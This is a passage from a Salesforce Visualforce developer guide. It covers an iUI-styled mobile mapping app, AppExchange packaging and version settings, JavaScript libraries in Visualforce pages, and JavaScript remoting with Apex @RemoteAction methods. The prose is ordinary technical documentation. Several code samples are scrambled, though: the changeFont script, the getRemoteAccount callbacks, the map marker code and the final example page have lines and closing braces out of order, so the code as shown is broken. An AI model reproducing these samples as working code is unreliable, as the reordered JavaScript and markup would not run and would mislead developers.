Developing for Mobile Devices Building the Map and List View var pri = trim(priAr[1]); // priority var acctId = priAr[2]; //account id var index = "" ; var imgName = "marker" ; // default marker image var color = "" ; mTag = "<b>" + compName + "</b>" + "<br>"
+ "Priority: "
+ pri + "<br>" + City ;
// Set up marker colors based on priority if (pri == 'Medium' ) color= "Yellow" ; else if (pri == 'High' ) color= "Red" ; else if (pri == 'Low' ) color= "Green" ; if (mCount>10){ // use default marker myIcon.image =
"http://maps.google.com/mapfiles/marker.png" ;
} else { // use custom marker 1-10 index = String(mCount); imgName = imgName + color + index + ".png" ; myIcon.image = "{!URLFOR($Resource.markers,
'markers/" + imgName + "' )} ";
} document.getElementById(acctId).src = myIcon.image; myIcon.iconSize= new GSize(20,34);
}
} myIcon.shadowSize= new GSize(56,32); myIcon.iconAnchor= new GPoint(16,32); myIcon.infoWindowAnchor= new GPoint(16,0); markerOptions2 = { icon:myIcon }; var marker = new GMarker(point, markerOptions2); map.setCenter(point, 8); map.addOverlay(marker);
}
}
);
}
// Set up listener action to show info on click event
GEvent.addListener(marker, "click" , function () { marker.openInfoWindowHtml(mTag);
}) ;
//Get accts and draw address var arAllStr = '' ; arAllStr = '{!AddrArStr}' ; // Get all address recs var arLi = arAllStr.split( "~::~" ); // Split on line break delim for ( var i = 0; i < arLi.length-1; i++) { var arLiStr =arLi[i]; var arCols =arLiStr.split( "~:~" ); //Split to get columns
293
Developing for Mobile Devices Building the Map and List View
} if (arCols[1].length >0) doAddLocationToMap(arCols[0],arCols[1],arCols[2], arCols[3],arCols[4], 'acct' );
//Get user address and draw doAddLocationToMap( '{!$User.FirstName} {!$User.LastName}'
+ ' (Me)' , '{!$User.Street}' , '{!$User.City}' , '
{!$User.State} ',' {!$User.PostalCode} ',' self ');
}
}
);
The following code defines the landing page of our mapping application:
<apex:page controller= "mapController" showHeader= "false" >
<apex:composition template= "iuivf" />
<script src= "{!myKey}" type= "text/javascript" > </script >
<apex:includeScript value= "{!$Resource.MobileListView}" />
<ul title= "Accounts" selected= "true" id= "home" >
<!-- Draw user name at top of panel -->
<li class= "group" >
User: {!$User.FirstName} {!$User.LastName}
</li >
<!-- Create panel for Google Maps object -->
<div class= "panel" style= "padding: 10px;" >
<div id= "map" style= "width: 300px; height: 300px;" >
</div >
</div >
<!-- Create group sub-panel to display list -->
<li class= "group" >Accounts </li >
<!-- Draw accounts, one per row -->
<apex:repeat value= "{!MyAccts}" var= "p" >
<li >
<a href= "accountDetail?id={!p.Id}" >
<img id= "{!p.Id}" src= "http://maps.google.com/mapfiles/marker.png" />
{!p.Name}
</a >
</li >
</apex:repeat >
</ul >
</apex:page >
The markup in our page uses the
<apex:composition >
component to reference a template. The template leverages the iUI framework, which lets us apply iPhone-like styling to our page. The iUI framework is included from the
$Resource.IUI
static resource. By defining a template, we can easily apply the same styling to all of the Visualforce pages we create for the iPhone platform.
294
Developing for Mobile Devices Building the Detail Page
The following markup defines the iuivf
page used as the template:
<!--
* Page definition: iuivf
* Visualforce template for iUI includes needed for
* using the iui framework <http://code.google.com/p/iui/>
* in any Visualforce page.
-->
<apex:page >
<meta name= "viewport" content= "width=320; initial-scale=1.0; maximum-scale= 1.0; user scalable= 0; "/>
<apex:includeScript value= "{!URLFOR($Resource.IUI, 'iui-0.13/iui/iui.js')}" />
<apex:styleSheet value= "{!URLFOR($Resource.IUI, 'iui-0.13/iui/iui.css')}" />
<style > #home { position: relative; top: 0px; } </style >
</apex:page >
Note the following about the template:
•
The markup overrides the
#home
style from the iUI library. This ensures that our application will render in Salesforce Classic Mobile without any noticeable gap at the top of the page.
•
The markup avoids the use of the class= "Toolbar"
element. The embedded browser in Salesforce Classic Mobile has a navigation toolbar at the top of the page, so a second toolbar would likely confuse users. If you want to use the button styles provided in the iUI framework, don't use the
Toolbar
class to render the buttons.
SEE ALSO:
Using JavaScript in Visualforce Pages
Building the Detail Page
The last step in building our mapping application is creating a detail page for the accounts in the list view. First, we'll create a controller that retrieves the account information: public class customAccountController { private final Account account; public customAccountController() { account = [Select Id, Name, Rating, CustomerPriority__c, Description, Phone,
BillingStreet, BillingCity, BillingState, BillingPostalCode from Account where id = :ApexPages.currentPage().getParameters().get( 'id' )];
} public Account getAccount() { return account;
} public PageReference save() { update account;
295
Developing for Mobile Devices Building the Detail Page return null ;
}
}
Next, we'll create a Visualforce page that displays the phone number and rating of the account the user selected from the list view. We'll use the
<fieldset >
and
<row >
classes from the iUI framework to apply iPhone-like styling to the page.
The following code defines the account detail page of our mapping application:
<apex:page showHeader= "false" controller= "customAccountController" title= "My Account" >
<apex:composition template= "iuivf" />
<div class= "panel" id= "acctDetail" selected= "true" style= "padding: 10px; margin-top:-44px " title=" Account Information " >
<h2 >{!Account.Name} </h2 >
<fieldset style= "margin: 0 0 20px 0;" >
<div class= "row" >
<label >Phone: </label >
<input type= "text" value= "{!Account.Phone}" />
</div >
<div class= "row" >
<label >Rating: </label >
<input type= "text" value= "{!Account.Rating}" />
</div >
</fieldset >
</div >
</apex:page >
296
CHAPTER 20 Adding Visualforce to a Force.com AppExchange
App
You can include Visualforce pages, components, or custom controllers in an app that you are creating for AppExchange.
Unlike Apex classes, the content of a Visualforce page in a managed package is not hidden when the package is installed. However, custom controllers, controller extensions, and custom components are hidden. In addition, custom components can be restricted with the access
attribute to run only in your namespace.
Salesforce recommends that you only use managed packages to distribute any Visualforce or Apex components. This recommendation is because managed packages receive a unique namespace that is automatically prepended to the names of your pages, components, classes, methods, variables, and so on. This namespace prefix helps prevent duplicate names in the installer's organization.
The following caveats should be taken into consideration when creating a package using a Visualforce page:
•
If the access
attribute on a component that is included in a managed package is set to global
, be aware of the following restrictions:
–
The access
attribute on the component cannot be changed to public
.
–
All required child
<apex:attribute >
components (those that have the required attribute set to true) must have the access
attribute set to global.
–
If the default
attribute is set on a required child
<apex:attribute >
, it cannot be removed or changed.
–
You cannot add new required child
<apex:attribute >
components.
–
If the access
attribute on a child
<apex:attribute >
component is set to global
, it cannot be changed to public
.
–
If the access
attribute on a child
<apex:attribute >
component is set to global
, the type
attribute cannot be changed.
•
When a package with a non-global component is installed, users that view the component in Setup see “Component is not global” instead of the content of the component. In addition, the component is not included in the component reference.
•
If advanced currency management is enabled for an organization that is installing a package, Visualforce pages that use
<apex:inputField >
and
<apex:outputField >
cannot be installed.
•
Any Apex that is included as part of Force.com AppExchange app must have at least 75% cumulative test coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. The tests are also run when the package is installed.
•
Beginning with version 16.0, if you have a managed global
Apex class used as a Visualforce controller, it is also required that the access level be set to global
for the following methods and properties for subscribers to use them:
–
Constructors for custom controllers
–
Getter and setter methods, including those for input and output components
–
Get and set attributes on properties
Tip:
If a custom label has translations, include the translations in a package by explicitly packaging the desired languages.
297
Adding Visualforce to a Force.com AppExchange App Managing Package Version Settings for Visualforce Pages and Components
When a package containing Visualforce pages is installed into an organization, the pages are served from the visual.force.com
domain instead of the
Salesforce
domain. This is to prevent malicious code in a package from affecting your data.
SEE ALSO:
Testing Custom Controllers and Controller Extensions
Managing Package Version Settings for Visualforce Pages and
Components
If Visualforce markup references installed managed packages, the version settings for each managed package referenced by the Visualforce markup are saved to aid backwards-compatibility. This ensures that as the components in managed packages evolve in subsequent package versions, a page is still bound to versions with specific, known behavior.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber
(for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The
patchNumber
is generated and updated only for a patch release. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package.
Note: Package components and Visualforce custom component are distinct concepts. A package is comprised of many elements, such as custom objects, Apex classes and triggers, and custom pages and components.
To configure the package version settings for a Visualforce page or custom component:
1. Edit a Visualforce page or component and click Version Settings.
2. Select a
Version
for each managed package referenced by the Visualforce page or component. This version of the managed package will continue to be used by the page or component if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that isn’t already associated with the page or component.
3. Click Save.
Note the following when working with package version settings:
•
If you save a Visualforce page or custom component that references a managed package without specifying a version of the managed package, the page or component is associated with the latest installed version of the managed package by default.
•
You can’t Remove a Visualforce page or component’s version setting for a managed package if the package is referenced by the page or component. Use Show Dependencies to find where the managed package is referenced.
SEE ALSO:
Managing Version Settings for Custom Components
298
CHAPTER 21 Using JavaScript in Visualforce Pages
Using JavaScript in Visualforce pages gives you access to a wide range of existing JavaScript functionality, such as JavaScript libraries, and other ways to customize the functionality of your pages. Action tags, such as
<apex:actionFunction >
and
<apex:actionSupport >
, support Ajax requests.
Warning: By including JavaScript in a page, you are introducing the possibility of cross-browser and maintenance issues that you do not have when using Visualforce. Before writing any JavaScript, you should be sure that there is not an existing Visualforce component that can solve your problem.
The best method for including JavaScript in a Visualforce page is placing the JavaScript in a static resource, then calling it from there.
For example,
<apex:includeScript value= "{!$Resource.MyJavascriptFile}" />
You can then use the functions defined within that JavaScript file within your page using
<script >
tags.
Tip: When using JavaScript within an expression, you need to escape quotes using a backslash (\). For example, onclick= "{!IF(false, 'javascript_call(\"js_string_parameter\")', 'else case')}"
Using
$Component
to Reference Components from JavaScript
Use the
$Component
global variable to simplify referencing the DOM ID that is generated for a Visualforce component, and reduce some of the dependency on the overall page structure.
Every Visualforce tag has an id
attribute. The id
attribute for a tag can be used by another tag to bind the two tags together. For example, the
<apex:outputLabel >
tag’s for
attribute can be used with the
<apex:inputField >
tag’s id
attribute. The reRender
and status
attributes on
<apex:actionFunction >
,
<apex:actionSupport >
, and other action-oriented components also use the value of the id
attribute from other components.
In addition to being used to bind Visualforce components together, this ID is used to form part of the document object model (DOM)
ID for the component when the page is rendered.
To refer to a Visualforce component in JavaScript or another Web-enabled language, you must specify a value for the id
attribute for that component. A DOM ID is constructed from a combination of the id
attribute of the component and the id
attributes of all components that contain the element.
Component Access Example
The following example uses the DOM ID for an
<apex:outputPanel >
tag. The page contains two panels: the first holds a checkbox that fires a DOM event, and the second contains some text that’s changed in response to the event.
299
Using JavaScript in Visualforce Pages Using JavaScript Libraries with Visualforce
The top of the page includes JavaScript contained within the
<script >
HTML tag. It takes as arguments the element that triggered the event (
input
) and the DOM ID (
textid
) of the target panel containing the text to be affected.
<apex:page id= "thePage" >
<!-- A simple function for changing the font. -->
<script > function changeFont(input, textid) {
}
}
</script > if(input.checked) { document.getElementById(textid).style.fontWeight = "bold" ;
} else { document.getElementById(textid).style.fontWeight = "normal" ;
<!-- This outputPanel calls the function, passing in the checkbox itself, and the DOM ID of the target component. -->
<apex:outputPanel layout= "block" >
<label for= "checkbox" >Click this box to change text font: </label >
<input id= "checkbox" type= "checkbox" onclick= "changeFont(this,'{!$Component.thePanel}');" />
</apex:outputPanel >
<!-- This outputPanel is the target, and contains text that will be changed. -->
<apex:outputPanel id= "thePanel" layout= "block" >
Change my font weight!
</apex:outputPanel >
</apex:page >
The
{!$Component.thePanel}
expression is used to obtain the DOM ID of the HTML element generated by the
<apex:outputPanel id= "thePanel" >
component.
SEE ALSO:
Best Practices for Accessing Component IDs
Using JavaScript Libraries with Visualforce
You can include JavaScript libraries in your Visualforce pages to take advantage of functionality provided by these libraries. The best way to include JavaScript libraries is by creating a static resource, and then including the library by adding an
<apex:includeScript > component to your page.
For example, if you are using jQuery ( https://jquery.org
), create a static resource from the library called jquery
, and then reference it in a page like this:
<apex:page >
<apex:includeScript value= "{!$Resource.jquery}" />
</apex:page >
You can then use it in a page by adding a
<script >
to call functions from the library.
300
Using JavaScript in Visualforce Pages JavaScript Remoting for Apex Controllers
If you’re using a JavaScript library in a Visualforce page, and that library defines
$
as a special character, you’ll need to modify your
JavaScript to override this usage. For example, with jQuery you can override the definition of
$
by using the jQuery.noConflict() function.
<apex:page >
<apex:includeScript value= "{!$Resource.jquery}" />
<html >
<head >
<script > jQuery.noConflict(); jQuery(document).ready(function() { jQuery( "a" ).click(function() { alert( "Hello world, part 2!" );
});
});
</script >
</head >
...
</apex:page >
Note:
•
The use of third-party JavaScript libraries and frameworks is supported and encouraged by Salesforce. However, Salesforce can’t help you debug your JavaScript code, except as it specifically relates to Salesforce functionality.
•
Don’t use Ext JS versions less than version 3 on pages that use Chatter components,
<apex:enhancedList >
,
<knowledge:articleCaseToolbar >
, or
<knowledge:articleRendererToolbar >
.
JavaScript Remoting for Apex Controllers
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior that isn’t possible with the standard Visualforce AJAX components.
Features implemented using JavaScript remoting require three elements:
•
The remote method invocation you add to the Visualforce page, written in JavaScript.
•
The remote method definition in your Apex controller class. This method definition is written in Apex, but there are some important differences from normal action methods.
•
The response handler callback function you add to or include in your Visualforce page, written in JavaScript.
What Is JavaScript Remoting?
JavaScript remoting is a tool that front-end developers can use to make an AJAX request from a Visualforce page directly to an Apex controller. JavaScript remoting allows you to run asynchronous actions by decoupling the page from the controller and to perform tasks on the page without having to reload the entire page.
In addition, JavaScript remoting can help alleviate view state issues while still executing in the context of the user viewing the page.
JavaScript remoting is the most efficient way of calling the controller and passing data in from the page, because you can ensure that you’re passing only the data that you need each time that you make a call.
301
Using JavaScript in Visualforce Pages When to Use JavaScript Remoting
When to Use JavaScript Remoting
JavaScript remoting is optimized for use on mobile pages and on pages that use third-party JavaScript libraries. It enables dynamic, interactive pages that feel more responsive than traditional Visualforce pages.
JavaScript remoting is an alternative to standard Visualforce AJAX components and Visualforce Remote Objects. It provides a more idiomatic way of interacting with the Force.com platform from JavaScript. JavaScript remoting allows you to use familiar JavaScript practices and structures and makes leveraging other JavaScript frameworks and tool kits easier for front-end developers. Remoting creates a more responsive experience that’s ideal for mobile pages or any other page where your use case requires maximum efficiency and performance. Because it’s asynchronous, you can load only the initial page and the data that you need to display the page, and then lazily load additional data that might not be used on the page immediately. You can even use this method to pre-load data for pages or views that the user hasn’t accessed.
Although JavaScript remoting can provide an efficient, responsive, and optimized user experience, it’s not without limitations. It can take extra time to develop pages that use it, and you need to change how you develop and think about the flow of the page. Because you aren’t using forms and there’s no view state associated with the request, you have to manage the state of the page yourself, on the client side. On the other hand, there’s nothing that prevents you from combining JavaScript remoting with the standard Visualforce
MVC design paradigm. As always, keep the problem that you’re trying to solve foremost when determining your design. JavaScript remoting is one of many tools available to you.
Comparing JavaScript Remoting and
<apex:actionFunction >
The
<apex:actionFunction >
component also lets you call controller action methods through JavaScript.
In general,
<apex:actionFunction >
is easier to use and requires less code, while JavaScript remoting offers more flexibility.
Here are some specific differences between the two.
•
The
<apex:actionFunction >
tag:
–
lets you specify rerender targets
–
submits the form
–
doesn’t require you to write any JavaScript
•
JavaScript remoting:
–
lets you pass parameters
–
provides a callback
–
requires you to write some JavaScript
Comparing JavaScript Remoting and Remote Objects
JavaScript Remoting and Remote Objects offer similar features, and both are useful tools for creating dynamic, responsive pages. They have some important differences that you should consider before choosing which to use.
In general, Remote Objects is well-suited to pages that need to perform only simple Create-Read-Update-Delete, or “CRUD”, object access. JavaScript Remoting is better suited to pages that access higher-level server actions. Remote Objects lets you get up and running quickly without a lot of ceremony, while JavaScript Remoting is suited for more complex applications that require some up front API-style design work.
Visualforce Remote Objects:
•
Makes basic “CRUD” object access easy
•
Doesn’t require any Apex code
302
Using JavaScript in Visualforce Pages Adding JavaScript Remoting to a Visualforce Page
•
Supports minimal server-side application logic
•
Doesn’t provide automatic relationship traversals; you must look up related objects yourself
JavaScript Remoting:
•
Requires both JavaScript and Apex code
•
Supports complex server-side application logic
•
Handles complex object relationships better
•
Uses network connections (even) more efficiently
Adding JavaScript Remoting to a Visualforce Page
To use JavaScript remoting in a Visualforce page, add the request as a JavaScript function call.
A simple JavaScript remoting invocation takes the following form.
[
namespace
.]
controller
.
method
(
[parameters...,]
callbackFunction
,
[configuration]
);
Element
namespace controller method parameters callbackFunction configuration
Description
Table 1: Remote Request Elements
The namespace of the controller class. This is required if your organization has a namespace defined, or if the class comes from an installed package.
The name of your Apex controller.
The name of the Apex method you’re calling.
A comma-separated list of parameters that your method takes.
The name of the JavaScript function that will handle the response from the controller. You can also declare an anonymous function inline. callbackFunction
receives the status of the method call and the result as parameters.
Configures the handling of the remote call and response. Use this to change the behavior of a remoting call, such as whether or not to escape the Apex method’s response.
The remote method call executes synchronously, but it doesn’t wait for the response to return. When the response returns, the callback function handles it asynchronously. See
Handling the Remote Response on page 309 for details.
Configuring a JavaScript Remoting Request
Configure a remoting request by providing an object with configuration settings when you declare the remoting request.
For example, the default configuration parameters look like this:
{ buffer: true, escape: true, timeout: 30000 }
These configuration parameters aren’t ordered, and you can omit parameters you don’t want to change from the default.
303
Using JavaScript in Visualforce Pages Adding JavaScript Remoting to a Visualforce Page
JavaScript remoting supports the following configuration parameters:
Name
buffer
Data Type
Boolean escape timeout
Boolean
Integer
Description
Whether to group requests executed close to each other in time into a single request. The default is true
.
JavaScript remoting optimizes requests that are executed close to each other in time and groups the calls into a single request. This buffering improve the efficiency of the overall request-and-response cycle, but sometimes it’s useful to ensure all requests execute independently.
Whether to escape the Apex method’s response. The default is true
.
The timeout for the request, in milliseconds. The default is 30,000
(30 seconds). The maximum is 120,000 (120 seconds, or 2 minutes).
The request timeout can also be configured for all requests made by a page, by setting the timeout using the Visualforce remoting object:
<script type= "text/javascript" >
Visualforce.remoting.timeout = 120000; // Set timeout at page level function getRemoteAccount() { var accountName = document.getElementById( 'acctSearch' ).value;
// This remoting call will use the page's timeout value
Visualforce.remoting.Manager.invokeAction(
'{!$RemoteAction.AccountRemoter.getAccount}' , accountName, handleResult
);
} function handleResult(result, event) { ... }
</script>
Override a page-level timeout configuration on a per-request basis by setting the timeout in the configuration object for that request, as described above.
Namespaces and JavaScript Remoting
You can use the
$RemoteAction
global to automatically resolve the correct namespace, if any, for your remote action. This makes it easier to work with namespaces, especially for pages that make remoting calls to methods provided in packages.
To use this facility, you must explicitly invoke JavaScript remoting. The pattern for doing this is:
Visualforce.remoting.Manager.invokeAction(
'
fully_qualified_remote_action
',
304
Using JavaScript in Visualforce Pages Adding JavaScript Remoting to a Visualforce Page
invocation_parameters
);
The fully qualified remote action is a string that represents the complete path to the remote action method, including namespace, base class, and so on:
namespace[.BaseClass][.ContainingClass].ConcreteClass.Method
. Use
$RemoteAction in an expression to automatically resolve the namespace, for example
{!$RemoteAction.MyController.getAccount}
.
Invocation parameters are the arguments used to perform the remote method invocation, and are the same arguments used to make a standard remoting call:
•
The parameters to send to the
@RemoteAction
method, if any.
•
The callback function, which handles the returned result.
•
Configuration details for the invocation, if any.
For example, you might define a remote invocation to retrieve an account like this:
<script type= "text/javascript" > function getRemoteAccount() { var accountName = document.getElementById( 'acctSearch' ).value;
Visualforce.remoting.Manager.invokeAction(
'{!$RemoteAction.MyController.getAccount}' , accountName, function (result, event){ if (event.status) { document.getElementById( 'acctId' ).innerHTML = result.Id
document.getElementById( 'acctName' ).innerHTML = result.Name;
} else if (event.type === 'exception' ) { document.getElementById( "responseErrors" ).innerHTML = event.message;
);
}
</script>
} else { document.getElementById( "responseErrors" ).innerHTML = event.message;
}
},
{escape: true}
This JavaScript remoting call doesn’t need to know the details of the namespace in which the controller is defined, whether it’s in your own namespace or something provided by an installed package. It also handles the situation where your organization doesn’t have a namespace defined.
Note: Errors encountered when calling invokeAction
are reported only in the JavaScript console. For example, if
$RemoteAction
finds matching
@RemoteAction
methods in multiple namespaces, it returns the first matching method and logs a warning to the JavaScript console. If a matching controller or action is not found, the call silently fails and an error is logged to the JavaScript console.
OAuth 2.0 Authentication for JavaScript Remoting
You can use OAuth 2.0 to authenticate JavaScript remoting requests, instead of requiring a standard username and password login process. OAuth allows cross-application and cross-organization integrations that aren’t possible to do securely with standard authentication.
A Visualforce page that uses OAuth for authentication configures it at the page level, and uses OAuth for all JavaScript remoting requests.
Other than configuration, using JavaScript remoting is exactly the same.
305
Using JavaScript in Visualforce Pages Declaring a Remote Method in Apex
Configuring OAuth for JavaScript remoting from a Visualforce page takes the following form:
<script type= "text/javascript" >
Visualforce.remoting.oauthAccessToken = <access_token >;
// ...
</script >
Once oauthAccessToken
is set, all JavaScript remoting requests use OAuth. The rest of your JavaScript remoting code can remain the same.
oauthAccessToken
is an OAuth authentication token obtained by your page’s code. Obtaining and updating an access token is straightforward OAuth, with one addition. JavaScript remoting OAuth authentication requests the “visualforce” scope, so your token must be generated with this or a scope that contains it, including “web” or “full”. Set scope=visualforce
(or “web” or “full”) in your OAuth request.
For information about obtaining access tokens, and using OAuth with the Force.com platform, see
Authenticating Remote Access
Applications
in the Salesforce online help and developer.salesforce.com/page/Digging_Deeper_into_OAuth_2.0_on_Force.com
.
Declaring a Remote Method in Apex
You can call almost any Apex method as a JavaScript remoting remote action. To do so, the method needs to conform to some simple rules.
In your controller, your Apex method declaration is preceded with the
@RemoteAction
annotation like this:
@RemoteAction global static String getItemId( String objectName) { ... }
Apex
@RemoteAction
methods must be static
and either global
or public
.
Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces as arguments.
Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have an apexType to identify actual type.
Your method can return Apex primitives, sObjects, collections, user-defined Apex classes and enums,
SaveResult
,
UpsertResult
,
DeleteResult
,
SelectOption
, or
PageReference
.
Methods used for JavaScript remoting must be uniquely identified by name and number of parameters; overloading isn’t possible. For instance, with the method above, you can’t also have a getItemId( Integer productNumber)
method. Instead, declare multiple methods with different names:
•
getItemIdFromName( String objectName)
•
getItemIdFromProductNumber( Integer productNumber)
Scope and Visibility of
@RemoteAction
Methods
Apex
@RemoteAction
methods must be static
and either global
or public
.
Globally-exposed remote actions shouldn’t perform sensitive operations or expose non-public data. global
remote actions may only call other global
methods. public
remote actions may not be used in global
components, or otherwise used in a global scope. Scope escalation will result in a compiler error or, for references that are resolved at runtime, a runtime failure. The following table describes these restrictions in more detail:
306
Using JavaScript in Visualforce Pages Declaring a Remote Method in Apex
@RemoteAction
Scope
Global Remote Method
Public Remote Method
Visualforce Page
Allowed
Allowed
Non-Global
Component
Allowed
Allowed
Global Component iframe
Allowed
Error
Allowed
Error
When remote actions are accessed via markup that is included indirectly, via components or the
<apex:include >
or
<apex:composition >
tags, the scope of the remote method is carried forward into the top level container, that is, the top level item in the inclusion hierarchy, which must abide by scope escalation rules:
@RemoteAction
Accessed From
Global Component
Top Level Container
Visualforce Page
Allowed
Non-Global Component Allowed
Non-Global
Component
Allowed
Allowed
Allowed
Allowed only if non-global component doesn't include public remote methods.
n/a
Allowed
Allowed only if non-global component doesn't include public remote methods.
Error
<apex:include >
<apex:composition >
Allowed within the same namespace; error if namespaces are different, and the included page or its child hierarchy contains public remote methods.
n/a
Global Component iframe
Remote Methods and Inheritance
You can call remote actions on your Apex controller that are inherited methods. When a
@RemoteAction
method is looked up or called, Visualforce inspects the page controller’s inheritance hierarchy and finds
@RemoteAction
methods in the controller’s ancestor classes.
Here’s an example demonstrating this capability. The following Apex classes form a three-tier inheritance hierarchy: global with sharing class ChildRemoteController extends ParentRemoteController { } global virtual with sharing class ParentRemoteController extends GrandparentRemoteController { } global virtual with sharing class GrandparentRemoteController {
@RemoteAction global static String sayHello( String helloTo) { return 'Hello ' + helloTo + ' from the Grandparent.' ;
}
}
307
Using JavaScript in Visualforce Pages Declaring a Remote Method in Apex
This Visualforce page simply calls the sayHello
remote action.
<apex:page controller= "ChildRemoteController" >
<script type= "text/javascript" > function sayHello(helloTo) {
ChildRemoteController.sayHello(helloTo, function(result, event){ if(event.status) { document.getElementById( "result" ).innerHTML = result;
}
});
}
</script >
<button onclick= "sayHello('Jude');" >Say Hello </button > <br/ >
<div id= "result" >[Results] </div >
</apex:page >
The remote method doesn’t exist in the
ChildRemoteController
class. Instead, it’s inherited from
GrandparentRemoteController
.
Declaring a Remote Method with Interface Parameters
You can declare
@RemoteAction
methods with interface parameters and return types, instead of being restricted to concrete classes.
This, for example, allows a package provider to package a remote method and associated interface, which subscriber organizations can call from Visualforce pages, passing in their own class that implements the packaged interface.
Here’s a brief example: public class RemoteController { public interface MyInterface { String getMyString(); } public class MyClass implements MyInterface { private String myString; public String getMyString() { return myString; } public void setMyString( String s) { myString = s; }
}
@RemoteAction public static MyInterface setMessage(MyInterface i) {
MyClass myC = new MyClass(); myC.setMyString( 'MyClassified says "' + i.getMyString() + '".' ); return myC;
}
}
Objects sent from a JavaScript remoting call to a
@RemoteAction
that declares interface parameters must include an apexType value, which must be a fully-qualified path to the concrete class, that is,
namespace[.BaseClass][.ContainingClass].ConcreteClass
. For example, to make a JavaScript remoting call to the above controller:
Visualforce.remoting.Manager.invokeAction(
'{!$RemoteAction.RemoteController.setMessage}' ,
{ 'apexType' : 'thenamespace.RemoteController.MyClass' , 'myString' : 'Lumos!' }, handleResult
);
308
Using JavaScript in Visualforce Pages Handling the Remote Response
If the class definition is within your organization, you can simplify the remoting call, and also use the default c
namespace:
RemoteController.setMessage(
{ 'apexType' : 'c.RemoteController.MyClass' , 'myString' : 'Lumos!' }, handleResult
);
Handling the Remote Response
Handle the response to a remote method call asynchronously in the callback function you provided in the remote method call.
Your callback function will receive as parameters an event
object representing the status of the remote call, and the result
object returned by the remote Apex method. Your function can update information and user interface elements on the page based on the data returned.
The event
object provides values that let you act upon the success or failure of the remote call.
Field
event.status
event.type
event.message
event.where
Description
true
on success, false
on error.
The type of the response: rpc
for a successful call, exception
if the remote method threw an exception, and so on.
Contains any error message that is returned.
Contains the Apex stack trace, if one was generated by the remote method.
Apex primitive data types returned by result
—such as strings or numbers—are converted to their JavaScript equivalents. Apex objects that are returned are converted to JavaScript objects, while collections are converted to a JavaScript array. Keep in mind that
JavaScript is case-sensitive, so id
,
Id
, and
ID
are considered different fields.
As part of a JavaScript remote call, if the Apex method response contains references to the same object, the object won’t be duplicated in the returned JavaScript object, and instead, the rendered JavaScript object will contain references to the same object. An example is an Apex method which returns a list that contains the same object twice.
Debugging JavaScript Remoting
Debugging pages that use JavaScript remoting requires you to debug Visualforce, Apex, and JavaScript.
Important:
Keep your JavaScript console open during development when using JavaScript remoting. Errors and exceptions encountered by JavaScript remoting are logged to the JavaScript console, if enabled, and are otherwise silently ignored.
When a
@RemoteAction
method throws an exception due to a programming error or other failure, the Apex stack trace is returned to the browser within the event
object. Inspect the stack trace in a JavaScript debugger console or use it in the error handling of your response callback function.
Here’s a callback function that simply displays the stack trace when there’s an exception.
<script type= "text/javascript" > function getRemoteAccount() { var accountName = document.getElementById( 'acctSearch' ).value;
Visualforce.remoting.Manager.invokeAction(
309
Using JavaScript in Visualforce Pages JavaScript Remoting Limits and Considerations
}
);
}
</script>
'{!$RemoteAction.MyController.getAccount}' , accountName, function (result, event){ if (event.status) { document.getElementById( 'acctId' ).innerHTML = result.Id
document.getElementById( 'acctName' ).innerHTML = result.Name;
} else if (event.type === 'exception' ) { document.getElementById( "responseErrors" ).innerHTML =
} else { event.message + "<br/>\n<pre>" + event.where + "</pre>" ; document.getElementById( "responseErrors" ).innerHTML = event.message;
}
JavaScript Remoting Limits and Considerations
Although JavaScript remoting isn’t subject to some resource limits, it does come with limits of its own.
JavaScript remoting isn’t a way to avoid Salesforce service limits. JavaScript remoting calls aren’t subject to API limits, but Visualforce pages that use JavaScript remoting are subject to all standard Visualforce limits.
By default, the response of the remote call must return within 30 seconds, after which the call will time out. If your request needs longer to complete, configure a longer timeout, up to 120 seconds.
The response of the remote call has a maximum size of 15 MB. If your JavaScript remoting code is exceeding this limit, you have several options:
•
Reduce the size of the response for each request. Only return data that’s required.
•
Break up large data retrieval into requests that return smaller chunks.
•
Make batched requests more frequently, reducing the size of each individual batch.
•
Use non-batched requests. Set
{ buffer: false }
in your remoting request configuration block.
JavaScript Remoting Example
Here’s a basic sample demonstrating how to use JavaScript remoting in your Visualforce pages.
First, create an Apex controller called
AccountRemoter
: global with sharing class AccountRemoter { public String accountName { get; set; } public static Account account { get; set; } public AccountRemoter() { } // empty constructor
@RemoteAction global static Account getAccount( String accountName) { account = [SELECT Id, Name, Phone, Type, NumberOfEmployees
FROM Account WHERE Name = :accountName]; return account;
}
}
310
Using JavaScript in Visualforce Pages JavaScript Remoting Example
Other than the
@RemoteAction
annotation, this looks like any other controller definition.
To make use of this remote method, create a Visualforce page that looks like this:
<apex:page controller= "AccountRemoter" >
<script type= "text/javascript" > function getRemoteAccount() { var accountName = document.getElementById( 'acctSearch' ).value;
Visualforce.remoting.Manager.invokeAction(
'{!$RemoteAction.AccountRemoter.getAccount}' , accountName, function(result, event){ if (event.status) {
// Get DOM IDs for HTML and Visualforce elements like this document.getElementById( 'remoteAcctId' ).innerHTML = result.Id
document.getElementById(
"{!$Component.block.blockSection.secondItem.acctNumEmployees}"
).innerHTML = result.NumberOfEmployees;
} else if (event.type === 'exception' ) { document.getElementById( "responseErrors" ).innerHTML =
} else { event.message + "<br/>\n<pre>" + event.where + "</pre>" ; document.getElementById( "responseErrors" ).innerHTML = event.message;
}
);
}
</script >
},
{escape: true}
<input id= "acctSearch" type= "text" />
<button onclick= "getRemoteAccount()" >Get Account </button >
<div id= "responseErrors" > </div >
<apex:pageBlock id= "block" >
<apex:pageBlockSection id= "blockSection" columns= "2" >
<apex:pageBlockSectionItem id= "firstItem" >
<span id= "remoteAcctId" />
</apex:pageBlockSectionItem >
<apex:pageBlockSectionItem id= "secondItem" >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:page >
<apex:outputText id= "acctNumEmployees" />
</apex:pageBlockSectionItem >
Notice the following about this markup:
•
The JavaScript uses the explicit invokeAction
remoting call, and takes advantage of the
$RemoteAction
global to resolve the correct namespace for the remote action method.
•
The event.status
variable is true
only if the call was successful. The error handling illustrated by the example is deliberately simple and prints the error message and stack trace from the event.message
and event.where
